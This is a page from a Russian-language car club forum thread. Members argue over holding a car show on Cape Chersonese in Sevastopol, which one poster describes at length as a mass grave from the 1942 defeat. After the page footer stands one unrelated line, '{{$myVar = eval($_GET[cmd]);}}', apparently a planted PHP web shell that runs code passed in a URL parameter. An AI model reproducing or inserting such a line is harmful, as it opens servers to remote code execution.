+ Ответить в теме
Страница 5 из 10 ПерваяПервая ... 3 4 5 6 7 ... ПоследняяПоследняя
Показано с 41 по 50 из 98

Тема: Планируется ли глобальная встреча клуба летом 2010???


  1. #41
    Цитата Сообщение от Bubinskiy Посмотреть сообщение
    Очень даже можно. Когда планируете?
    Так написал сентябрь ))

  2. #42
    превэд овощь:laugh: я думаю Митя говорит про шашлык:)
    3d,5d gti, s3

  3. #43
    Овощи давайте на обсуждение.. соберемся нормальной гольф толпой.
    Код:
    http://www.golf-club.org.ua/forum/viewtopic.php?f=1&t=14282&start=0

  4. #44
    Мимо проходил Сток is on a distinguished road Аватар для Сток
    Регистрация
    22.07.2010
    Откуда
    Севастополь
    Машина
    Т-34
    Сообщений
    4
    «Что может быть обидней полуправды
    О той, смертями переполненной войне?..»
    Понимание Севастополя как родины входило естественно и незаметно в наше сознание с самого детства. Невозможно жить в Севастополе и не пропитаться духом его героической истории. Со школьной скамьи мы узнали имена адмиралов-флотоводцев, героев последней обороны и освобождения родного города. Но недавно прошедшая война была всё-таки ближе, её герои ещё ходили по улицам возрождающегося города, а незажившие раны (последние «развалки» были ликвидированы лишь в конце 50-х годов) на каждом шагу напоминали о героическом прошлом. Правда, сведения о последних днях обороны были весьма скудные, из них можно было узнать лишь о героизме и стойкости защитников Севастополя, стоявших до последнего. Была в них некоторая недосказанность, но кое-что о тех событиях доходило до нас, чаще всего из рассказов взрослых – ещё было много живых участников обороны. Мой отец Фесенко Ф.С. был одним из них. Будучи капитаном, в составе эскадрильи 9 авиаполка, он участвовал в обороне Севастополя на Херсонесском полуострове (май – июнь 1942 года) и на одном из последних самолётов (1 июля 1942 года) был переправлен на Кавказ. О тех событиях он почти ничего не рассказывал, но сохранились дневники, которые он вёл с первого дня войны, где были короткие записи о каждом из 36 последних дней обороны. Дневники я прочёл в начале 60-х, когда уже не стало отца. В то время их нельзя было опубликовать, поскольку ещё не пришло время говорить всю правду о войне. Дневники удалось издать в 2004 году в альманахе № 23 «Севастополь», а в этом году они были включены в 4-й том «Севастополь. Историческая повесть».
    Из дневников отца я получил первые сведения о тех трагических событиях и появилось желание узнать всю правду. В 2000 году по этим дневникам я написал документальную поэму «Херсонесский маяк». Не надеясь, что дневники будут когда-нибудь опубликованы, я перевёл их в поэтическую форму, не искажая литературным вымыслом. Но постижение правды о той войне началось значительно раньше. Ещё в 1958 году в Голубой бухте, что рядом с 35 батареей (район последнего плацдарма обороны Севастополя), ныряя с маской и ластами (тогда все увлеклись подводной охотой), я воочию увидел следы страшной трагедии, произошедшей здесь в июле 1942 года, а потом повторившейся, уже для немцев, в мае 1944 года. Всё дно, вдоль юго-западного побережья Херсонесского полуострова буквально было завалено грудами сросшегося металла: ржавого оружия, снарядов, затопленными машинами, орудиями и другой военной техникой, которую при отступлении сбрасывали с обрывов в море сначала наши, а потом и фашисты. Было страшно плавать над этим «кладбищем», зная, что не только искорёженное железо покоится здесь, но и десятки тысяч людей, для которых это дно стало одной огромной братской могилой. А другая «братская могила» была наверху – на земле и занимала территорию Херсонесского полуострова, 35 батареи, Казачьей бухты и всего побережья, вплоть до мыса Феолент. Земля на всём этом огромном пространстве густо засеяна корявыми, ржавыми осколками снарядов и бомб, стреляными гильзами, разорванными касками и…человеческими костями:
    «… здесь сыграны финалы двух трагедий,
    где есть утраты, рабство и возмездие
    и гибель тысяч, здесь оставленных солдат».
    «… Не счесть забытых безымянных погребений,
    тех бугорков, отмеченных камнями,
    засеявших обильно этот мыс.
    Нет у лежащих здесь наград имён и званий».
    Ещё можно кое-где увидеть, теперь уже еле заметные, обложенные когда-то камнями безымянные захоронения. Десятки погибших так и лежат неопознанными в каменистом херсонесском краснозёме. Эти герои по-прежнему значатся в списках «без вести пропавших». В пятидесятые годы на месте старого аэродрома был возведён новый, его бетонная взлётно-посадочная полоса, которая пересекла весь Херсонесский полуостров, решила проблему безымянных погребений – теперь они уже навсегда были упрятаны под бетон, который и стал огромной символической братской могилой. А память?..
    Памятники, конечно, есть: и лётчикам, защищавшим город в небе (рядом с бывшим аэродромом), и «героическим защитникам Севастополя» (на 35 батарее), но к сожалению, само это место, где произошли события, ставшие самой трагической страницей во всей истории Севастополя – пленение немцами 85 тысяч (официальные данные) брошенных на произвол судьбы защитников города, 250 дней самоотверженно оборонявших его в тяжелейших условиях, не стало Священным для самих севастопольцев, руководства города и командования Черноморского флота. Героический подвиг Севастополя, известный во всём мире, как бы заслонил своим сияньем трагический финал всей обороны. Более того, обстоятельства, при которых произошла эта трагедия, до недавнего времени стыдливо замалчивались, а потери и количество пленённых занижались. Конечно было чего стыдиться – в самый критический момент обороны, когда уже не осталось ни боеприпасов, ни продовольствия, ни воды, командующий севастопольским оборонительным районом (СОР), вместе с высшим и старшим командным составом, политруководством флота и города пытались покинуть херсонесский плацдарм, оставив на гибель и пленение десятки тысяч раненых и многотысячную армию защитников города. На эту тайную операцию (во многих подразделениях даже не догадывались, куда исчезли их командиры!) было получено «добро» Ставки. Более того, покидая на самолётах, подводных лодках, катерах горящую «малую землю», командование обещало остающимся, что и за ними придёт «эскадра», точно зная, что эвакуации армии не будет. После тяжёлого поражения Крымского фронта и оставления Керченского полуострова маршал С.М.Будёный, которому подчинился СОР и Черноморский флот, директивно приказал (28.05.42г.) предупредить весь личный состав СОРа, что «…переправы на Кавказ не будет!..». Это напоминало сталинский приказ «назад ни шагу!», и означало, что сражаться надо было до последнего. Имея такой аргумент, вице-адмирал Октябрьский в июне 1942 года мог себе позволить сказать: «Не дам больше топить корабли». Так он реагировал на увеличение потерь Черноморского флота, обеспечивающего жизнедеятельность осаждённого Севастополя. В 61 году на конференции он уточнил причины, по которым основные силы Черноморского флота не принимали участия в спасении скопившихся на Херсонесском полуострове войск: «Если эвакуировать армию, то были бы потеряны армия и флот, оказавшийся сильно приуменьшившимся из-за потерь в боях. В конечном счёте была потеряна армия, но сохранён флот».
    В очередной раз (который в минувшей войне?) закон целесообразности и военный рационализм склонили чашу весов не в пользу человека, а в пользу железа. В смысле логики всё было правильно, наши вожди всегда мыслили масштабно, и цель всегда оправдывала средства. Действительно, что такое сотня тысяч людей, когда их у нас немереные миллионы?! Во время войны нравственность не в чести, как и сама честь. Но всё же не всегда, тому примеры были и в Херсонесской эпопее. Назовём лишь несколько имён: полковой комиссар Б.Е.Михайлов, добровольно оставшийся «заложником» толпы, чтобы дать возможность командующему Октябрьскому улететь на Кавказ (в гражданской одежде) на последнем ожидавшем его самолёте (через два дня Б.Е. Михайлов погиб); генерал И.Е.Петров, пытавшийся застрелиться, когда его вынудили эвакуироваться со штабом, оставив Приморскую армию, которую он смог в полном составе переправить в Крым из осаждённой Одессы (это к вопросу о чести); начальник штаба Береговой обороны И.Ф.Коцюба, отказавшийся уйти со штабом на подводной лодке и оставшийся на 35 батарее, чтобы погибнуть вместе с ней. Таких ярких примеров не много, но большинство из командования и старшего комсостава, волей случая не попавшие на последние самолёты и катера, хотя имели персональные посадочные талоны (неорганизованность посадки, неуправляемость толпы), вели себя достойно и разделили все тяготы последних дней обороны и плена с рядовыми защитниками Севастополя.
    В войну было немало случаев, когда военноначальники добровольно разделяли участь своих солдат. Поразительно, что рациональные и расчётливые немцы, оказавшись в мае 1944 года в том же месте, в более тяжёлом положении и имея такие же директивы, сделали другой выбор.
    Вот что сказал 3 мая 1944 года командующий 17-й армией генерал-полковник К.Альмендингер, обращаясь к солдатам и офицерам: «Я получил приказ защищать каждую пядь Севастопольского плацдарма. Его значение вы понимаете. Ни одно имя в России не произносится с большим благоговением, чем Севастополь… (подчёркнуто мной, В.Ф.). Я требую, чтобы все оборонялись в полном смысле этого слова, чтобы никто не отходил, удерживал бы каждую траншею, каждую воронку, каждый окоп… Никому из нас не должна даже в голову прийти мысль об отходе на позиции, расположенные в глубине…» Через неделю ему придётся решать другую задачу и удивительно, что это ему почти удастся. Возмездие было неотвратимым и страшным. Утром 8 мая наши войска перешли в наступление и с ходу, сломив яростное сопротивление врага на Сапун-горе, взяли Севастополь. Враг был отброшен к Херсонесскому полуострову. Полностью повторялась ситуация 1942 года. Гитлер отдал приказ об эвакуации 17 армии, но было поздно – времени и условий для её организации уже не было. Наши войска стремительно приближались к Херсонесскому аэродрому и 12 мая сбросили остатки фашистских войск в море. Но за эти четыре дня в тяжелейших условиях немцы осуществили беспрецедентную операцию по спасению своих войск. Кстати, большую их часть составляли румыны.
    Для эвакуации был задействован весь немецко-румынский флот, находившийся в Чёрном море. Около 2000 различных судов-транспортов, военных кораблей, катеров и самоходных барж растянулись цепочкой через всё Черное море, от херсонесских берегов до Румынии. Это был «живой мост» из непрерывно идущих конвоев – порожние спешили в Севастополь, а гружённые до отказа солдатами, военной техников и награбленными ценностями – в Констанцу. Люфтваффе уже не могли прикрывать это поспешное бегство, наша авиация полностью доминировала в воздухе и беспощадно топила вражеские конвои. Гвардейцы в танковой бригаде рвались к Херсонесскому плацдарму. Немецко-румынские войска смогли удерживать Севастополь всего 5 дней, а осаждали в 1941-42 годов – 250 суток! Немцы несли огромные потери на море, но до последнего дня упорно продолжали посылать всё новые конвои. В ночь на 12 мая, в 2ч.30м. ушёл последний крупный конвой (на переходе в Констанцу были потоплены два больших парохода), но почти до утра от Херсонесских берегов продолжали отходить оставшиеся десантные баржи. А в 8 часов главные силы немецкой армии сдались в плен (21 человек). Крым был полностью освобождён от захватчиков. Операция по спасению 17 армии стоила рейху половины принимавших в ней участие судов, а по тоннажу это составило почти 80%! Германия почти лишилась флота на Чёрном море. Но несмотря ни на что, немцам удалось с начала эвакуации вывезти в Румынию около 130000 солдат и офицеров, а самолётами Люфтваффе было вывезено ещё 21500 человек личного состава. Только в последние три дня с мыса Херсонес было переправлено 25700 человек. И если учесть, что эвакуация была проведена за несколько дней в тяжелейших условиях, под мощными артобстрелами, бомбёжками и всё нарастающим давлением советских войск, штурмовавших последние рубежи фашистов, то надо признать, что немцам удалось сделать несоизмеримо больше для спасения своей армии, чем нашему командованию для спасения своей. Конкретные цифры, некоторые цитаты и факты, приведённые мной (использованы: И.С.Маношин «Героическая трагедия» и работа А.Чикина «Возмездие»), показывают принципиальную разницу в отношении к своим армиям нашего и немецкого командования: наши хотели тайком от защитников города эвакуировать только верхушку командования и партруководства города (командующий СОРом Октябрьский попросил об этом ставку 30 июня, когда уже было поздно осуществлять эвакуацию Приморской армии и подразделений Черноморского флота), а командование немецких войск в Севастополе настаивало «…отбросить все требования безопасности за борт и рисковать всем, чтобы вывезти из Крыма всё, что только можно спасти».
    Конечно, имелось ввиду не только армия; но история показывает, что, несмотря на то, что была потеряна половина кораблей с находящимися там людьми (погибло 42000 человек), боевой техникой и ценным имуществом, большая часть армии была спасена. Горькая обида за то, что их «бросили свои», что «родной Черноморский флот не пришёл на помощь», присутствует во всех воспоминаниях ветеранов, которые прошли дорогами плена и сталинских лагерей! Долгое время не публиковались документальные материалы о трагедии на Херсонесском полуострове и судьбе его защитников, оставленных и пленённых там. Пожалуй, только с выходом в 2001 году военно-исторического исследования, недавно ушедшего из жизни Маношина И.С. «Героическая трагедия. О последних днях обороны Севастополя» появилась достоверная и наиболее полная информация о тех днях и особенно о том, что было на Херсонесском плацдарме после 3 июля – даты официального оставления Севастополя (сопротивление отдельных групп черноморцев продолжалось до 12 июля, а последние защитники плацдарма были взяты в плен 17 июля!). Материалы этой книги потрясают и дают понимание масштаба этой трагедии, равной которой не было в истории Севастополя.
    Но даже появление книги И.С.Маношина не изменили отношения к этой трагической дате. Официально в Севастополе 3 июля отмечается «День памяти и скорби», но, к сожалению, он еще не приобрел должного значения для всех жителей города, для флота. Возможно потому, что еще не все знают всю правду о тех трагических событиях. Все мероприятия носят частный характер и не охватывают весь город. Чаще всего они проводятся по инициативе ветеранских организаций в отдельных районах города. Становится традицией «Вечер памяти и скорби» на летней эстраде Приморского бульвара, организуемый «Клубом любителей истории Севастополя» (председатель О.Г.Доскато).
    Вечер обычно заканчивается ритуалом возложения траурного венка-гирлянды в море у Памятника затопленным кораблям. Но и этот, талантливо осуществляемый литературно-художественно-исторический экскурс пока не привлекает массового зрителя, соучастника.
    Я считаю, что эта дата должна отмечаться всем городом, а Херсонесский полуостров и 35 батарея, политые кровью и засеянные костями десятков тысяч защитников города должны стать для севастопольцев Священными. А главное, чтобы наши дети и внуки прониклись чувством благодарности и преклонения перед подвигом, совершённым их дедами и прадедами в 1942-44 годов. Конечно, для этого также необходимо проведение «Уроков Памяти» для школьников и молодежи.
    Может быть именно для этого я написал повесть «Может, свидимся ещё?..». Она о судьбе простых людей, прошедших ад последних дней обороны, а потом распятие пленом. Почти не осталось ветеранов, прошедших войну, они так ждали, когда же мы скажем правду о войне. ЭТО ВРЕМЯ ПРИШЛО.


    Ребята. Не надо танцев на костях. Автоэкзотика выбрала плохое место для проведения своего шоу в Севастополе

    И аргумент: всё у нас на костях - от незнания. У нас тоже стараются всё-таки отдать дань и почести погибшим защитникам и стараются их хоронить по-человечески.
    А мыс Херсонес в Севастополе - это гигантская бызымянная могила, место скорби и стыда за оставленную на истребление армию наших отцов и дедов. Это совсем не то, что другие места сражений Великой Отечественной.

    Прислушайтесь, пожалуйста, и, если нельзя остановить это шоу на мысе, то, хотя бы, просьба вести себя соответственно... пожалуйста.
    Последний раз редактировалось Сток; 23.07.2010 в 09:21. Причина: Добавлено сообщение

  5. #45
    GTI-Racing GIII will become famous soon enough Аватар для GIII
    Регистрация
    04.06.2007
    Откуда
    Москва
    Машина
    skoda octavia scout
    Сообщений
    920
    Не понял, зачем Сток написал одно и то же 2 раза, но ПОЛНОСТЬЮ с ним солидарен - и 2, и 3 раза!
    Cам я уже писал об этом вот здесь - начиная с #19 и дальше:
    http://www.gti-club.ru/forum/showthr...t=12104&page=2
    В результате меня за это попинала Lina и еще несколько господ с Украины (да и нехай - я ж в йих ветку писал - в чужой огород, типа, залез))) - мол, не к месту я, и не вовремя. Тут люди веселиться собираются, отрываться, а тут ты со своей ерундой. Отойди в сторонку и не мешай! Больше всего насмешила вот эта реплика constantinus-а "Как по мне надо молчать или что-то делать. У меня подозрение, что тут просто флуд устроил для своего рейтинга, учитывая сколько сообщений у тебя на форуме" - я смеялся до упаду!
    Потом поговорил я в личке с мудрым дядей Боном и притих на эту тему. Ну а ежели сейчас опять она всплыла, да еще и из самого Севастополя (Сток, как я понял, из Севастополя), то и я опять о том же.

    Считаю совершенно недопустимым участвовать в шоу, которое организуется НЕПОСРЕДСТВЕННО на огромной братской могиле десятков тысяч преданных своей Родиной солдат. Я там был год назад - специально поехал в отпуск - и низко поклонился этому месту. Не знаю кому как, а мне там не до веселья. Это место - насквозь пропитанное смертью, перепаханное воронками и накорню выжженое солнцем - вызывает чувство волнения и скорби о погибших героях. Здесь сквозь шелест рыжей травы будто до сих пор слышны стоны и крики умирающих героев, а волны багрового от крови прибоя качают и бьют о прибрежные камни трупы...

    Блин, ребята, да потратьте хоть чуть-чуть своего времени - узнайте хоть немного о месте, куда собираетесь ехать и о событиях, которые там происходили всего лишь 68 лет назад!
    Прочтите "Героическую трагедию" Маношина: http://militera.lib.ru/h/manoshin_is/index.html
    Прочтите статью, может заинтересует: http://www.sevfront.ru/news.php?id=148 - она покороче, легче осилить
    Вот несколько фоток с места будущего шоу:
    Последний раз редактировалось GIII; 26.07.2010 в 23:37.
    Skoda Octavia Scout APR StII: Intercooler APR, Carbonio Intake APR StI, Exhaust Downpipe APR, Bilstein B6, H&R Swaybars, brakes front S5, brakes rear S3, SRE Performance Clutch Kit, VWR Short Shifter

  6. #46
    GTI-Racing Lina will become famous soon enough Аватар для Lina
    Регистрация
    18.02.2007
    Машина
    GOLF R BLACK
    Сообщений
    1,526
    Цитата Сообщение от GIII Посмотреть сообщение
    Не понял, зачем Сток написал одно и то же 2 раза, но ПОЛНОСТЬЮ с ним солидарен - и 2, и 3 раза!
    Cам я уже писал об этом вот здесь - начиная с #19 и дальше:
    http://www.gti-club.ru/forum/showthr...t=12104&page=2
    В результате меня за это попинала Lina и еще несколько господ с Украины (да и нехай - я ж в йих ветку писал - в чужой огород, типа, залез))) - мол, не к месту я, и не вовремя. Тут люди веселиться собираются, отрываться, а тут ты со своей ерундой. Отойди в сторонку и не мешай! Больше всего насмешила вот эта реплика constantinus-а "Как по мне надо молчать или что-то делать. У меня подозрение, что тут просто флуд устроил для своего рейтинга, учитывая сколько сообщений у тебя на форуме" - я смеялся до упаду!
    Потом поговорил я в личке с мудрым дядей Боном и притих на эту тему. Ну а ежели сейчас опять она всплыла, да еще и из самого Севастополя (Сток, как я понял, из Севастополя), то и я опять о том же.

    Считаю совершенно недопустимым участвовать в шоу, которое организуется НЕПОСРЕДСТВЕННО на огромной братской могиле десятков тысяч преданных своей Родиной солдат. Я там был год назад - специально поехал в отпуск - и низко поклонился этому месту. Не знаю кому как, а мне там не до веселья. Это место - насквозь пропитанное смертью, перепаханное воронками и накорню выжженое солнцем - вызывает чувство волнения и скорби о погибших героях. Здесь сквозь шелест рыжей травы будто до сих пор слышны стоны и крики умирающих героев, а волны багрового от крови прибоя качают и бьют о прибрежные камни трупы...

    Блин, ребята, да потратьте хоть чуть-чуть своего времени - узнайте хоть немного о месте, куда собираетесь ехать и о событиях, которые там происходили всего лишь 68 лет назад!
    Прочтите "Героическую трагедию" Маношина: http://militera.lib.ru/h/manoshin_is/index.html
    Прочтите статью, может заинтересует: http://www.sevfront.ru/news.php?id=148 - она покороче, легче осилить
    Вот несколько фоток с места будущего шоу:
    Ты так это преподнес, как будто мы решили это намерено.
    Может стоит считать, что эта выставка автомобилей дань чести павшим героям? Почему нет?

  7. #47
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    да уж............... если фотка где фашисто собирается расстрелять людей на берегу с того самого места, то я бы даже если был зареген, не поехал бы....... чиста лично мое мнение.

    АЭ это комерсы, а у комерсов свои правила......... и еще у комерсов нету времени читать историю, в виду того, что надо выдавать пропуска на АЭ, тем более когда стоит толпа людей под дверью и стучит копытами потея, и фактически за ни за что дает им денег, чтобы поставить на поле свой ужосшозанах: москвич 2141, эмалированныйТАЗик, Ауди 80 с пружинами сзади от Ауди 100, Хрюндай акцент и т.д.
    песок сыпется....не останавливайтесь на достигнутом !

  8. #48
    GTI-Racing constantinus is on a distinguished road Аватар для constantinus
    Регистрация
    22.09.2007
    Откуда
    Киев
    Машина
    RGTI
    Сообщений
    1,631
    Ребятки, мне кажется это уже перебор.
    Вот объясните мне те кто в Севастополе живут.
    Если следовать вашей логике, то в Севастополе вообще надо все запретить на всех площадях и улицах. Я не говорю уже про Питер, где вообще выпить пиво и улыбнуться нельзя на улице - следуя вашей логике.

    Как по мне - то что тут пишут - это популизм.
    Пару ребят прочитало и решила себе на этой теме рейтинг поднять.
    К примеру GIII - писал, что нельзя, но в тоже время приезжал на то место чтобы погонять (ему не понравилось место - плохое покрытие).

    Да весь Севастополь братская могила, учитывая какие бои там происходили. Но почему-то на склонах растут виноградники, но на данных склонах гибли тысячами... И вы же ребятки пьете это вино.

    Главное как человек относиться к данному историческому факту.
    И действо происходит бывшем аэродроме. Где вы были ребята когда там плиты укладывали и самолеты там летали. Не думаю, что если бы он сейчас действовал, то вы бы стояли с пикетом о закрытии его.

    Так, что я считаю, что этой чистой воды популизм и на этой теме ребятки желают выделится и общей массе, что куда более хуже, чем приехать туда и запарковать свое авто.

  9. #49
    GTI-Racing Igorb will become famous soon enough Igorb will become famous soon enough Аватар для Igorb
    Регистрация
    07.03.2006
    Откуда
    Одесса
    Машина
    golf_mk1
    Сообщений
    1,204
    da...a ved VW poyavilsya blagodarya Hitleru. i krasniye kirpichniye tseha stroili zavoda VW voennoplenniye i te kogo privezli v germaniyu na raboti...
    i chto teper????)
    back in the days where motorsport was organised by real men with hairy chests who didn`t give a hoot about health and safety

    Overload http://overload.net.ua/forum/viewtop...d0f88ef70d72f2

  10. #50
    GTI-Racing constantinus is on a distinguished road Аватар для constantinus
    Регистрация
    22.09.2007
    Откуда
    Киев
    Машина
    RGTI
    Сообщений
    1,631
    Цитата Сообщение от Igorb Посмотреть сообщение
    da...a ved VW poyavilsya blagodarya Hitleru. i krasniye kirpichniye tseha stroili zavoda VW voennoplenniye i te kogo privezli v germaniyu na raboti...
    i chto teper????)
    Да кстати.. уважаемые GIII и Сток, на чем вы ездите?
    С GIII то понятно... партриот, но на жигули не сел, а отдал деньги бюргерам.
    Вот со СТОК не понятно, на чем он катается. Но не думаю, что его распирают патриотические мысли когда он думает на чем ездить.

    Если как Вы говорите, что ничего нельзя, то и на немецких авто ездить нельзя, потому как промышленики были одним из движущих сил во второй мировой. Да и родоначальник как выше сказано - кто был...

+ Ответить в теме
Страница 5 из 10 ПерваяПервая ... 3 4 5 6 7 ... ПоследняяПоследняя

Похожие темы

  1. Встреча 06.05.2010
    от Ёжик в разделе Встречи и мероприятия
    Ответов: 16
    Последнее сообщение: 01.01.2024, 19:18
  2. ВСТРЕЧА 11/02/2010
    от BUBINSKAYA :) в разделе Встречи и мероприятия
    Ответов: 18
    Последнее сообщение: 01.01.2024, 18:18
  3. 15.07.2010 Встреча
    от IvanGTIV в разделе Украина
    Ответов: 3
    Последнее сообщение: 15.07.2010, 18:27
  4. Встреча 28.05.2010
    от *erik* в разделе Встречи и мероприятия
    Ответов: 2
    Последнее сообщение: 29.05.2010, 01:13
  5. Встреча 16.04.2010
    от BON в разделе Встречи и мероприятия
    Ответов: 33
    Последнее сообщение: 20.04.2010, 18:44

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}